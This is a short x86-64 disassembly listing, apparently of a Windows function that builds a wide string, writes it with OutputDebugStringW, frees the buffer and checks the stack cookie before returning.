mov rax, qword [0x1400af030]
xor rax, rsp
mov qword [rsp + 0x40], rax
lea r8, [0x1400999a4]
lea rcx, [rsp + 0x20]
call fcn.1400423d0
cmp qword [rsp + 0x38], 8
lea rcx, [rsp + 0x20]
cmovae rcx, qword [rsp + 0x20]
call qword [sym.imp.kernel32.dll_OutputDebugStringW]
mov r8, qword [rsp + 0x38]
cmp r8, 8
jb 0x140051fe3
mov rdx, qword [rsp + 0x20]
inc r8
call fcn.1400226a0
mov rcx, qword [rsp + 0x40]
xor rcx, rsp
call fcn.140052d40
add rsp, 0x58
ret